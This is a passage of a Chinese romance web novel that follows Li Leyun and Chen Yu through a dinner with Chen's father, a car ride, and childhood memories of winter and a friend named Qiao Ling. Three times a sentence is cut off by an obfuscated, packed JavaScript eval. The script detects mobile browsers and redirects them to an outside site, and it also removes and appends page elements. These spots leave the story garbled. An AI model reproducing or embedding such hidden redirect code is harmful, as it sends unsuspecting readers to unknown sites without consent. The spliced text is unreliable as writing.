她最喜欢煎鸡蛋了,薄油之上的蛋白在平底锅里滋滋作响,跟焦灼时的心脏一样。 撒一点白胡椒和油醋汁,成型后夹起来盖在热好的麦芬上,再覆上一片芝士和两片火腿,配上料理机刚打出来的杂粮米糊,就是一顿完美的健康早餐。 上午需要帮柳薇翻一份加急文书,十点钟,闹钟响,她打开电脑开始工作。柳薇拓展了业务,最近签的几个单子都是欧洲小国买房移民,佣金不多,费力不讨好。年底大家都在冲业绩,她能理解柳薇的压力。 写到一半发现客户资质有问题,她打电话给柳薇,跟柳薇核对银行出具的资产证明。确实有疏漏,翻译工作暂停,柳薇让她准备准备,下午陪她去见个人。 如果是当花瓶的饭局,那她真没什么可准备的。她关了电脑抱着iPad窝进沙发里,正打算找许竹莹打视频电话闲扯,赵青青发来十几个昨天晚上陈彧唱歌的视频。 陈彧没回她的消息在她意料之中,她本来也无所谓他回不回。他这个人,跟他吵嘴是吵不起来的,辩论,他的嘴巴更会讲,身体较劲,也是他的招数更多。 所以,慢慢来吧。她不着急。 李乐韵在iPad上登陆微信,挨个点开视频欣赏。果真都是台下的同事拍的,有的人的位置离舞台太近,几乎是死亡角度,得亏陈彧的脸上一点多余的肉也没有,否则和那些在公司年会上唱励志歌曲的中年油腻男就没区别了。 他是赶鸭子上架?态度认真但唱功平平。尤其是在女同事那充满故事感的声线衬托下,他的咬词顶多只能说是真诚。 就不该对黑无常抱有太大期待。他要是擅长唱歌,她怎么会不知道呢。 不过他穿西装真的很不一样,和她单位里那些油嘴滑舌的男销售不一样,和大楼里那些发型一丝不苟的精英不一样,和韩剧里氛围感突出的衣架子也不一样。 他是明亮的、周正的、大方的,聚光灯下的仪态和他从小到大那副好学生的模子无异,眼神里多了几分从容和自信。 他有一种正气凛然的俊朗。 他好像,和任何男人都不一样。 李乐韵又想,自己也和别的女孩不一样。人跟人都不一样,他并没有什么特别的。 . 暴发户老陈提前一周订了一家黑珍珠1钻餐厅。陈彧走进去,穿衬衫打领带、略微长出点小肚腩的老陈似乎比半年前要年轻了一点。 老陈的年轻女朋友,陈彧叫不出口阿姨的这位女士,优雅地坐在老陈的身侧,穿浅色的毛呢套装,椅背上挂着一个黑色香奈儿的链条包,面前还放着一个方形小礼盒。 “您好。”陈彧礼貌颔首跟对方致意。 “我儿子,名字你知道的。怎么样?是不是很帅。我跟你说,我年轻的时候就长他这样……” “你好,陈彧。我也姓陈,陈杨,杨树的杨。”陈杨说完把桌面上的礼盒推到陈彧面前,“你爸爸说你挺喜欢手表,我挑了一块给你,不知道符不符合你的审美。” 陈彧并没有多喜欢手表,只是潜意识里觉得男人到了一定的年纪,在有经济能力的情况下,可以佩戴一点像样的装饰品让自己看起来成熟稳重一些。 他打开盒盖,里面是万国工程师系列,深蓝色的表盘,造型偏休闲。 “这个太贵重了。”他客气地推脱。 “收着吧。”陈杨冲他笑笑。 服务生开始上前菜,老陈像模像样地用热毛巾清洁手指,边擦边对陈彧说:“托朋友打听了一下情况,你能不能留在现在这个单位,最终还是得看谷康仁的归宿在哪里。” 陈彧:“我工作上的事你就别操心了,我不一定非要留在上海。” “留,必须留,留在大城市你才好成家立业。你小姨给我打电话,催我给你买房呢。你能不能走人才引进落户?” “落不了,我不符合条件。” “你哪里不符合?” 陈彧微微皱起眉头。 陈杨见状,拍了老陈的胳膊一下,“难得见一次面,别聊工作了。陈彧发展这么好,说明他自己有本事。” “他就是会读书,会考试,别的啊,还得再历练。” “是,我跟你学,行了吧。”陈彧端起高脚杯碰了下老陈的杯子,又以水代酒敬了陈杨一杯,谢谢她送的礼物。 老陈尝了口鸡枞菌,觉得味道好,给陈杨夹了一筷子,又问陈彧:“你领导给你介绍对象了?” “嗯。” “相中没?” 陈彧摇了下头。 “长的不好看?”老陈问。 陈彧摆出一个无言以对的表情。 老陈说道:“前几天托江医生把你爷爷的片子拿去给专家看。跟她闲聊了几句,听她那意思,李老师想撮合你跟小李子?” “她叫李乐韵。”陈彧纠正他的措辞。心里忽然烦躁起来,老陈怎么去叨扰师母了。 “她小时候就跟颗李子似的,就会冲你酸。要我说,她不行,她从小就是拿你当牛马使唤,以后结了婚还得了。”老陈说完又侧头对陈杨解释,说陈彧的高中老师待他很好,老师有个女儿,跟陈彧一起长大,对陈彧不咋滴,但现在想跟陈彧好。 “李乐韵跟我的关系不是你想的那样。”陈彧皱起眉头。 “你对她有意思?就因为她长得好看?” 连陈杨都听不下去了,说:“你怎么老用外表判断一个人,陈彧有自己的主见,他感情方面的事情就让他自己做主。” “我是管不了哦,我只能承诺,你的婚房我来买,聘礼我给足。不过最好不要是小李子……” “喝汤吧。”陈彧起身拿走老陈的碗,给他盛了满满一碗老鸭薏米冬瓜汤。 . 李乐韵赶到跟柳薇约见的地方,看见钱飞坐在茶室里,略微有些慌张,这是什么席面?摊牌拉她上船局? “钱总好。”她站在木门外,微微鞠躬。 “进来吧。”柳薇起身迎她,问她喝什么茶。 李乐韵点了壶玫瑰牛乳,钱飞又客气地让她添些糕点。菜单上的好几样点心她都感兴趣,于是按照自己的喜好点了三样。 她是一点也不想委屈假期还出来应酬的自己。 “乐韵,钱总不是外人。”柳薇很自然地对李乐韵说道。 柳薇话落,钱飞看向李乐韵:“我女儿上次伤了你耳朵,今天我替她跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525117|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赔个不是。我已经跟几个合伙人商量过了,会对你进行一定的补偿,到时候算在你的季度奖金里。” 李乐韵讶异到张不开口,又不想说什么“您太客气了”这种虚伪至极的话。 “公司真好。”她挤出一个和善的微笑。 柳薇拉回正题,说钱飞想开新的业务线,做留学移民,问李乐韵感不感兴趣。李乐韵觉得高层做决策轮不到她感不感兴趣,她只是个总监助理而已。 她耐心地听着。听下来得出结论,这两人可能是想釜底抽薪。 流言蜚语是打不到女战士柳薇的,但是逆风中的人很容易滋长野心。柳薇现在什么都想做,每一天都很拼,她想用全能来证明自己的强大。她足够强,风向才会自动改变。 李乐韵并没有很大的上进心,她觉得柳薇在push她。 无论如何,点心还是很好吃的,也从钱飞的言论里听到一些行业风向。李乐韵觉得这个下午还不错,走的时候发现点心可以在电商旗舰店下单,扫了个码,领了个新人券。 夕阳很美。去地铁站的路上,江晴打来电话,问给李乐韵寄的东西她收到没。李乐韵说待会儿回去就去拿快递。 母女俩聊了几句养生的话题后,江晴问:“陈彧最近没跟你联系吧?” “怎么了?” “他跟你爸说,他去相亲了,对女方挺满意。要是这样的话,以后你有事就别麻烦他了。” “我本来也没麻烦他啊,是你们一直要他关照我。”李乐韵的语气略微有些焦躁。 “好,你有数就行。” 挂了电话后,李乐韵心气非常不顺,看周围的一切都觉得聒噪。她停在进地铁站的电梯前,往边上挪了几步,发了个表情包给陈彧。是他昨晚唱歌的动态图,她自己做的。 陈彧受不了她搞这些,立刻回了一个问号。 李乐韵:你在干嘛? 陈彧:有事? 李乐韵:没事不能找你? 陈彧不再回复。 十分钟后。李乐韵:跟满意的相亲对象约会去了? 陈彧肯定不回这种无聊的试问。 老陈听见陈彧的手机一直响,凑过去一看,小李子在骚扰他儿子。 “叫她晚上来吃饭。”老陈做出重大决定。 “谁?” “你说谁?”老陈指一下他的手机。 陈彧说不必了。 “她是你老师的闺女,你老师一家过去对你颇有照顾,那我来上海请她吃个饭也是应该的吧。你叫她来,我看看她变了没有。” 陈杨也在一边搭腔:“叫她来吧,你们说的话让我对这个姑娘好好奇。” 李乐韵刚要去附近的商场看看元旦促销活动,陈彧打来语音通话。她心里哼了声,按下接听。 陈彧的声音很低沉:“你在哪里?” “怎么了?” “我爸来了,想叫你晚上一起吃个饭,还有我爸的女朋友。” 原来是陪他爹去了。李乐韵努努嘴,“你要有后妈了?想让我帮你掌掌眼?” “没有这么多弯弯绕绕。你想来就来,不想来就算了。”语气依然冰冷。 “位置发我。”李乐韵又问:“黑无常,你不觉得我很慷慨吗?” 陈彧静等她发表演讲。 “你好多年不理我,最近又经常不回我的消息,可我还是愿意跟你做朋友。” “嗯,你是个好人。”这句很像AI在回应。 李乐韵加深了语气,“下次再不回我的消息,我就默认是你在害怕我,默认你……” 陈彧屏气凝神后打断她的话,“是,你没有错,都是我的错。” 听似答非所问,却是他想了一夜的回答。 如果这样会让她满意,可以让纠缠彻底结束,那他愿意认罪。 10.第 10 章 听见陈彧语气里的幽怨,李乐韵的脑子里配合着断了根弦。 她本意又不是要跟他争对错。 她想,这是他负气的一句话,不必细细琢磨,打一个蝴蝶结,把断弦续上,脑回路又回归到正常。 她也不会因为一句话就不去跟他见面。她很久没见到他那个神出鬼没的爸爸了,去叙叙旧,不是什么坏事。 晚上定在老陈和陈杨入住的五星级酒店里吃本帮菜。李乐韵快到时,陈彧被迫去大厅里接她。 面对面,距离只有半米,李乐韵抬起眼睛细看面前这张脸,轻柔的带两分讨好的笑意浮在眼眶里,清晰地看见他眼睛下的小痣,却看不出他是什么情绪。 但总不至于还陷在那句话里吧。 李乐韵把自己的包递给过去,问:“你相个亲谈个恋爱需要昭告天下?” 说完打量陈彧身上的休闲毛衣,翻开的领子上别了个很小的胸针,看不出来是不是品牌搭配的,挺漂亮的。 陈彧觉得自己要是个聋子就好了。 避重就轻、抓小放大、随意翻页是她从小就修炼到满级的本领。在她面前,他是资质平庸的书呆子,解题思路固化,很难得到高分。 李乐韵丝毫不怕他装聋作哑,继续说道:“如果不是,那你这样绕来绕去的,应该只是想听我跟你说一句话吧。” “我不知道你在打什么哑谜。”陈彧严肃认真地看着她化着淡妆的眼睛,“你待会儿最好别在长辈面前对我吆五喝六。” 说完转身先走。 李乐韵快步跟上去,一把拉住他的手腕,迫使他停下来。 陈彧蹙眉回头:“别在这里闹。” 李乐韵低下了头,下巴藏进围巾里,眼睫落下去,淡淡的玫瑰粉眼影微微亮闪。 陈彧的声音缓下来,“吃完饭再说,行吗?”说完拍了下她的手背,示意她先松手。 李乐韵却抓得更紧了,慢慢抬起头,语气哀怨:“陈彧,你不准跟别人谈恋爱。” 陈彧顷刻间定在原地。 公主的缰绳又落在他身上,不是跋扈的,也不是不容拒绝的,却莫名地钻心。像一张渔网落入心里的深海,试图从里面打捞起一条固执的小鱼。 她曾经无数次对他说“陈彧,你不准……”“陈彧,我不许你……”“陈彧,你必须……” 她永远有那么多命令。 可从来没对他说过:你不许喜欢别人。 “你到底想干什么?”陈彧另一只手里拿着李乐韵墨绿色的女士包,这让他看上去像一个正在被任性女友撒娇取闹却无可奈何的克制男友。 李乐韵“噗嗤”一声笑了,促狭的眼睛和仙侠剧里的反派一样,拥有跨越次元的戏剧感。 陈彧陡然意识到自己中计了。 李乐韵松开他的手腕,抱起胳膊,“是这句话吗?听起来感觉如何?” 陈彧的眼睛暗了下去。那些湿冷的海水悉数从胸腔里溜走,变成一滩沼泽地里的淤泥,执拗的小鱼搁浅在小水坑里,不久就会没命。 “走吧。”他连冷笑的心气都没有了,有些认命地做了个“请”的动作,把她的包塞回她怀里,“自己背。” . 陈彧去接人时,陈杨对老陈说,什么也没给李乐韵准备,这样不体面。老陈说又不是见儿媳妇,没那个规矩。 李乐韵面色乖巧地走进来,亲切地叫了声“陈叔”,又对看起来十分年轻的陈杨客气地点一下头:“您好。” 老陈挑了下眉毛。好像变了点,又好像没变。 “坐吧,看看想吃点什么菜。”陈杨待李乐韵落座后,把菜单推到她的面前。 “我不挑嘴,您先看吧。”李乐韵笑了下,问陈杨:“您是哪里人?” 老陈让她叫阿姨。 “太年轻了,叫不出口,叫姐姐又差辈了。”李乐韵实诚地说道,说完看向老陈,“陈叔也越来越年轻了。” 老陈笑而不语。没变,还是那么油嘴滑舌。 陈杨自我介绍了一番,让李乐韵想叫什么叫什么。 李乐韵是在任何场合都不会让自己无聊的人,看陈杨研究菜单时十分纠结,她拿出手机搜索网友点评,和陈杨一起选定了菜品。 等待上菜的时候,陈杨跟李乐韵聊起了旅行的话题。老陈问陈彧:“你们今年春节能放几天?” “应该还是半个月左右。” “那你打算回青阳吗?” 陈彧说秋天回去过了,过年就不回了。 “那就跟我们一起去海南。” “你跟……你们去吧,我跟着算怎么回事。”陈彧始终不知道该叫陈杨什么。 老陈垂着眼睛喝了口茶,“那就抓紧点,和你领导介绍的那个工程师早点定下来,到时候我们四个一起去,这样也热闹。” 陈杨说:“你糊涂了啊,陈彧都说了没相中。” “没相中?跟我爸说相中了啊。”李乐韵冲老陈和陈杨笑笑,“他可能在你们面前不好意思。” “那你到底相中没?”老陈问陈彧。 陈彧睨了上蹿下跳的李乐韵一眼,对老陈说:“因为我根本不想处对象,所以到处撒谎。这样耳根清净。” “什么意思?” 陈彧气定神闲地给自己的茶杯里倒满水,又给一旁的李乐韵也添了点,“都想给我介绍女朋友,可我一个也看不中,只能几头骗。” 陈杨听懂了,跟老陈解释一通。 李乐韵也听懂了,给陈彧比了个大拇指,“厉害厉害,真厉害。” 老陈反应过来后,感叹道:“李老师也不知道是怎么想的,竟然撮合起你们俩来了。你们俩哪儿合适啊。” “就是。”李乐韵附和道。 老陈冲李乐韵扬了下下巴,“乐韵啊,你跟陈彧一起长大,也算是了解他,你多留意留意你身边的好姑娘,遇到合适的,给他介绍介绍。” “好嘞!” . 陈杨有车,老陈把自己的车给了陈彧,让他先开,又催他早点把买车的事定下来。 李乐韵站在一旁听父子俩寒暄,这才知道,原来那辆路虎不是陈彧的。亏她还嫉妒了他好些日子。 老陈的这辆宝马X5是半年前提的,内饰还很新,他不抽烟,车内一点浊气也没有,坐进去后的感觉还算让人舒适。 陈彧在导航里输入李乐韵家的地址,驶出酒店地下车库后,李乐韵对他说:“晚上的菜有点腻,我想喝奶茶。” 奶茶就不腻吗?陈彧让她回家点外卖。 “这边的奶茶店我家那边点不到。” “那就喝你家那边的奶茶。” “我就想喝这一家。”李乐韵拉了下他的胳膊。 陈彧别了她一眼,“那你现在手机下单,等会儿到了直接拿。” “你喝吗?”李乐韵露出笑脸。 陈彧摇头。 “那就给你点个招牌的吧,少糖、去冰……”李乐韵自顾自地说。 陈彧随便她。即便他再说不喝,她也还是会买。因为她贪心,一般都至少有两个口味想喝,那买两杯的话,就都可以都尝尝。 等到两杯奶茶拿到手,李乐韵把给陈彧买的这一杯递给他。陈彧没动,他想,他们不适合再用同一根吸管。 但李乐韵早就不贪心了,她就只专注地喝她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528484|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一杯。果然很好喝,她去软件上打了个五星。 车驶上高架,车厢里安静下来。陈彧打开音乐,想找首歌打破这份静谧,但老陈的中老年男人歌单实在让他无法下手。 李乐韵见状,接连了蓝牙,播放自己的歌单。 《Tender》前奏电钢琴的声音一出来,陈彧就皱起了眉头。她就不能放点活泼的歌曲? 李乐韵沉浸在音乐里,跟着节奏摇晃脑袋,到了中段,跟着哼唱那几句温柔到死的“oh my baby”。 “你看我干什么?”她突然盯住陈彧。 他没有故意看她,这么小的空间里,他很难不看见一个乱动瞎哼唧的人。 “你现在喜欢听什么歌?不会还是那些死亡摇滚吧。”李乐韵问他。 陈彧不想说话。 李乐韵又自顾自地唱起来。 Tender is the night Lying by your side Tender is the touch Of someone that you love too much “你知不知道你跑调?”陈彧实在是受不了了。 “不会吧,这首歌就是这种调调。”李乐韵不信邪,又换了首中文歌。 是范晓萱的《消失》,她的声音自然而然地夹起来:“我想找个地方躲起来……” “跑调吗?”她对陈彧眨眨眼睛。 陈彧抿着唇,不搭腔。 “切。”她凭什么要在乎一个自己也唱歌不咋地的人的评价。 又哼了两句后,李乐韵安静下来,看着车窗上自己的脸,再看看陈彧的脸,打了个哈欠。 歌曲又切到《我在纽约打电话给你》…… 陈彧越听越烦,很想关闭她的歌单。一转头,她靠在椅背上睡着了。 …… 半梦半醒中,李乐韵觉得有人在叫她。 “快起来,我爷爷快回来了。”陈彧摇一摇睡在他小床上的李乐韵,提醒她一张字才练到一半。 “哎呀,你帮我写完剩下的吧,”扎马尾的李乐韵翻了个身,皮筋往下滑了一截,她把陈彧的被子扯上去盖住脸,“你最好了,求求你了……” “你昨晚干什么去了?”陈彧问。 “%*@#……” “什么?” “哎呀你吵死了!”头发乱掉的李乐韵咻地一下从床上坐起来,没好气地掀开被子下床,往陈彧的书桌前一坐,“给我找把梳子。” 陈彧拿来木梳和小镜子,李乐韵摘掉皮筋,闭着眼睛梳自己凌乱的头发。 “困。”她又整个人趴在书桌上。 陈彧把她的皮筋拿过来,低低地给她绑了个马尾,“这样行吗?” 李乐韵摇头:“太松了。” “披着吧。”陈彧说。 “不直,不好看。”李乐韵侧脸枕在胳膊上,回头看着陈彧,“我妈说我要是考上青中,就同意我去拉直头发。” “那你加油。” 这时老头推门进来,看见披头散发的李乐韵趴在镜子前,问她:“隶书写完了吗?” “……没。” “乐韵啊,我带过不少孩子,但上了初二还在练的,就你一个。你爸爸说练字能锻炼你的专注力……” 李乐韵委屈巴巴地把脸埋进胳膊里,“陈爷爷,我真的好累啊。” “那你从明天开始就不用来了,反正暑假也快结束了,你应该还有很多作业要赶吧。” 听到这句话,陈彧心里大舒一口气,他书桌的使用权终于要回归了。 11.第 11 章 李乐韵在陈彧的书桌上贴了些花里胡哨的贴纸,她走后,陈彧把贴纸一张张揭掉,直尺蘸水将痕迹清除。 有一张贴纸的下面写着一个字母Q,字迹已经不清晰了,陈彧知道Q是乔令。这肯定是她练字练到乏味,发呆幻想时写下的。 她为什么不在自己的书桌上写? 楼下矮墙外,青中家属院里的路灯亮了,李乐韵的卧室在另一个方向,不知道这个时间她是不是正把今天刚买的娱乐杂志藏在厚厚的书本下偷读。她最近开始追星,喜欢的韩星名字绕口,个个高大帅气。 在客厅看新闻联播的老头叫了陈彧一声,喊他给他爸回个电话,他应着,目光撤回来,关掉书桌上的台灯,发现台灯的按钮旁边贴了朵向日葵,李乐韵用蓝色的中性笔画了两行眼泪。 李修文对着李乐韵的作文本犯愁,怎么练了一个暑假的字还是没什么长进。他敲一敲李乐韵凌乱的桌面,说:“不要求你有笔锋,但起码要工整,字是人的第二张脸。” 李乐韵心想,人的第二张脸可真多,手是,教养也是。她把自己的英语卷子铺在李修文面前,“夸夸我吧李老师,多看看我身上的优点。” 李修文叹气:“我是教英语的,你英语要是再差劲,我脸往哪儿放?” “往我妈肩膀上放呗。” 连阴雨下到十月初,升入初三的李乐韵在练字本上写陈彧的“彧”字和许竹莹的“莹”字。许竹莹问她怎么不写乔令的名字,她说那两个字太简单了,没什么可练习的。 但实际上,她在漫画书的空白处写了几十遍。书被她同桌借走,同桌问她乔令是谁,她说是一个很酷很酷的人。 天气转冷,小姨给陈彧寄来两床新疆的棉花被,他拿了一床给江晴,江晴说一米五的尺寸不够她跟李修文盖的,就便宜乐韵了吧。 寒假的清晨,李乐韵窝在舒服的新被子里听英文歌,客厅里来了几个补课的学生,李修文忙着给他们安排座位。 陈彧来了,帮着李修文招呼,经过李乐韵的房门时,轻轻地敲两下,“起来了吗?” “给我带米糕了吗?”李乐韵爬到床尾打开一道门缝,浓密的黑发遮下来,让她看起来像个可爱的毛绒玩偶。 她浸了寒风,微微发着抖,圆圆的眼睛在陈彧的旧球鞋上扫描,又看他笔直修长的腿。 陈彧曲指敲了下她的脑门,从羽绒服口袋里拿出一块还热着的米糕,递给她,“洗脸刷牙了再吃。” “知道了。” 陈彧是不需要补习的,他来,是为了给李修文帮忙,顺便监督李乐韵做寒假卷子。 李乐韵的书桌像干净的垃圾堆,上面什么东西都有。陈彧皱着眉头给她收拾,在里面翻出了侦探小说、发夹、圣诞贺卡、手套、潮流杂志、期中考试的数学试卷、期末考试的物理试卷,和一本插着钥匙的她几年前买的复古密码笔记本。 “陈彧,明天我们叫上莹子去逛街吧,我过年的衣服还没买呢。” 给她讲物理题时,她又分神了。臭美地打理她的刘海,偷瞄镜子时回头看看旁边的陈彧,也看看他漆黑的头发和眉毛。 “听完做对再说。”陈彧盖上她的小镜子。 李乐韵撑着脸看着陈彧的耳朵:“我好想打耳洞哦,冬天不会发炎。” “师母同意了?” “她说只要我不怕疼。” 陈彧看向她的耳垂,白白的,很饱满,耳廓上能看见细小的绒毛,他脑子里伸过去一只手,指腹贴了上去…… 他立刻慌乱地打碎这个脑中画面,对她说:“有不需要打耳洞也能戴的耳环。” “是嘛。”她偏过头细细琢磨着。 江晴怕李乐韵乱花钱,又怕陈彧和许竹莹管不住她,趁休假跟着他们一起去逛街。许竹莹看中一件白色的羽绒服,说配紧身牛仔裤和雪地靴一定很好看,江晴问李乐韵要不要,老板说两件可以打八折。 李乐韵摇头,说她才不要羽绒服,她要呢子衣,再配贝雷帽和短裙,像韩剧女主那样洋气。 许竹莹嗤之以鼻,“利利索索的多好,干嘛要学偶像剧。” 李乐韵就是要学,她就要漂亮,要美。她试了一件又一件呢子衣,问陈彧觉得哪件好看,陈彧说不上来,说都还行。 “蓝色还是米色,必须二选一。” “那就蓝色吧,你新买的围巾是米色的。” 许竹莹“哟”一声,“行啊陈彧,你还挺会搭配的嘛。” 李乐韵靠近陈彧,手指指指他的鼻子,“偷看我杂志了是吧?” 陈彧按下她的手,“你剪的乱七八糟的,谁愿意看。” “切。” 江晴气喘吁吁地从隔壁专卖店拿来一双球鞋,“陈彧,快试试这个,老板说最后一双了,刚好44码。” “你穿44码的鞋?”许竹莹吃惊地看着陈彧。 李乐韵:“大姐,他183啊。” “可别再长了,这么高足够了。”江晴笑着让陈彧坐下试鞋,“新年穿新鞋,这么帅的小伙子去球场上不能露怯。乔令他们有的你也要有。” “不行,才十七,还能长。”李乐韵居高临下地看着坐在鞋凳上的陈彧,“你必须长到185以上,那样站在我旁边我才威风。” “管得真宽,受不了你了。”许竹莹翻了个白眼。 她们你一句我一句,弄得陈彧想推辞这双鞋都没有插嘴的机会,他对名牌球鞋不感兴趣,他怕自己还不上老师师母的恩情。 江晴非要他换上,待他站到镜子前,江晴拍了拍他的肩膀,“好看,你小姨给你买了牛仔裤和羽绒夹克,过年就这样配着穿。” 许竹莹看着镜子里长身玉立的陈彧,在李乐韵耳边低语,“其实陈彧比乔令耐看。” 李乐韵耸耸肩膀,“耐看又怎么样,书呆子一个,不解风情。” “哟,你有什么风情要他解?” “去你的。” 除夕的前一天早上,李乐韵还在睡梦中,阳台上有人叫她的名字。家在一楼,她识别声音后立刻裹着被子,打开窗户应声,看见乔令,眼睛开始发光,“你回来啦!” 乔令穿单薄的棒球服外套,头发剃的挺短,衬得眉眼的轮廓更深了。他伸出冰凉的手拍了下李乐韵头顶的被子,从口袋里拿出一个小狗造型的羊毛毡钥匙扣,“班上的女生都在做这个东西,说最近很流行。” “好可爱。”李乐韵捧着小狗仔细地看。 乔令又拿了个小熊造型的塞到李乐韵手里,让她给许竹莹,问她:“陈彧哥回浙江没?” “高二就放五天假,他哪有时间回啊。你们学校放几天?” “那我去找他。”乔令说着话抬脚就走。 “喂,中午来我家吃饭啊。” “不了,我怕李老师数落我。” 李乐韵脖子伸的老长,看乔令往后院矮墙的方向走。他总是来无影去无风,明明只是去另一个区念高中,却很少再回家属院。 他那个爸爸,脾气古怪,去年又续了弦,巴不得他高中三年都跟着爷爷奶奶生活。 乔令想找陈彧借两百块钱。陈彧蹙眉打量他,“又惹事了?” “没。” “你不说清楚原因我怎么借你。”陈彧身上也就三百块钱了,他还打算给老师师母和李乐韵买点新年礼物。 “你就说你借不借吧。” “我借不了。” “行。”乔令拍了下陈彧的肩膀,走出他的卧室,“没事,陈彧哥,你也不容易。放心,你想让我跟乐韵说的话,我会说的。” 除夕当天,李乐韵跑去乔家送东西,人还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531234|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走廊上就听见老乔在训人。她敲了门,乔令的继母来开,看见是她,对她摆摆手,“回吧回吧,父子俩较劲呢。” 李乐韵知道老乔喜欢动手,塞了东西闯进门,老乔正要抄起鸡毛掸子,李乐韵上前一把拦住,“乔叔,有话好好说。乔令都快十七了,你不能再打他了。” “怎么好好说?你瞧他这幅烂泥样,青中考不上就算了,去一中本来也是鸡头,结果认识不三不四的人,学习的心思全没了。”老乔越说越气,抄起乔令的手机往地上摔,“还没成年呢,就跟女同学有来有回地聊一整夜。” 李乐韵听见这话后僵住了,不可置信地看着乔令的眼睛。 “回吧乐韵,你拦不住的,他要打就打,有本事就打死我。”乔令瞪圆了眼睛看着老乔,“我就是早恋了,你能拿我怎么着?” 乔令话音还未落,老乔一棍子打在他的胳膊上。 “乔叔、乔叔……别打他……”李乐韵把乔令护在身后,“乔令,别气你爸了。” 后来李乐韵被乔令的继母拉出去,门关上,她眼圈才慢慢红起来。老乔捡了地上的手机给她看,那女孩叫舒羽,她对乔令说,她会一直陪着他,乔令回了一个“好”。 李乐韵的心跳开始加速,怎么都平息不了,走进寒风小雪中,人冷,心更冷。她去找许竹莹,许竹莹跟爸妈去外婆家吃团年饭了,她不想回家,爬上老槐树,坐在院墙上,眼泪一颗颗往下掉。 “小师妹。”没过两分钟,陈彧就看见了她。 她的眼泪结成了冰,视线模糊地看过去,陈彧站在窗户前,只穿了件灰色的毛衣,不怕冷地开着窗。 她决定去找他,一低头,墙角的砖头不知道怎么不见了。 她急了:“陈彧,你下来接我!” “快点!” “陈彧,你快点!” 陈彧拿了外套,边跑下楼边穿,跑到矮墙下时拉链都没拉好,他朝墙上的李乐韵伸手,“慢点,地上滑。” 李乐韵搭着他的手跳了下来,刚站定,就推一下他的肩膀,让他背过身去。 陈彧扭头想看看她不对劲的眼睛,李乐韵一头撞在他的后背上,手抓着他腰侧的衣料,微微地发着抖。 雪变大了,风停了下来,陈彧听见很轻的抽泣声。女孩靠在他背上哭。 “你怎么了?”他没见过她哭,心揪起来,无所适从。 “你把耳朵捂上,不许听!” “你到底怎么了?” “不许问!” 陈彧不再说话,任凭她的眼泪打湿他的衣服。 雪花簌簌往下落,很快在老槐树上盖上一层薄薄的白色。挺拔的少年立在风雪中,背上承载一只受伤的小兽,呜咽和哀鸣传进他的心脏,他不动声色,却跟着一起难过。 “陈彧,不许告诉任何人。”许久之后,李乐韵声音沙哑地开口。 “哭不是丢人的事情。”陈彧当然不会告诉别人。他只是想告诉李乐韵,她可以伤心,他可以接住她的伤心。 李乐韵松开陈彧的衣服,擦掉脸上乱七八糟的痕迹,待陈彧转过身来后,她从口袋里拿出两颗费列罗,“你要是不想跟你那个臭堂弟一起吃团圆饭,就来我家。” “好。” 李乐韵又问,“你身上有钱吗?” “你想买什么?” “外面街上有卖烟花的,到中午估计就收摊了。你给我买一把仙女棒。” “好。还想要什么?” “想要也买不到啊,都关门了。” 几天后,陈彧看见乔令脸上的伤,用红包给他装了两百块钱。乔令说他肯定会还,他离开家属院之前,扔了张纸条进李乐韵的阳台。 李乐韵打开一看:好好学,一定要考上青中,不然哥哥会瞧不起你。我走了,勿念。Q 12.第 12 章 往后十年,陈彧再也没亲眼看见没听说过李乐韵掉眼泪。 新学期开始,李乐韵牟足了劲头想考青中,学累了,伏在书桌上叹气,问月考又考了年级前十的陈彧:“你的脑子到底是怎么长的?” 陈彧在一旁很认真地做自己的试卷,说:“你的脑袋长得也很好,很圆,像个球。” 李乐韵无语地翻了个白眼,笔头戳戳陈彧的胳膊,“陈叔是不是给你寄钱了,那这次期中考试,我要是能考进年级前八十,你给我点奖励呗。” “考进了再说。”陈彧的注意力放在做题上。他月考数学没发挥好,这几天都沉浸在题海里。 “书呆子!” 最后李乐韵考了年级第九十六名。班主任知道她近来努力,安慰她,说实在差几分上不了青中也没关系,反正她是青中教师子女,学校会对她有优待的。 她怎么能接受走后门呢,她那么堂堂正正的一个女孩。她说她绝不靠关系进青中。 李修文得知这话十分感动,跟江晴说:“你闺女啊,淘是淘了点,但是内心非常正派。” 江晴哼笑一声,“她上哪儿学的这些话,假得很。” 陈彧给李乐韵买了张她喜欢的韩国组合的专辑,悄悄藏在她东西乱放的书柜里,没让李修文和江晴知道。 李乐韵一个月后才偶然翻到,跑去检察院职工宿舍问陈彧是不是他买的。 还有一个月就要中考了,陈彧对她说:“别分心。” “我爱死你了。”李乐韵晃一下陈彧的胳膊,坐在桌沿上小声哼这张专辑里的歌。 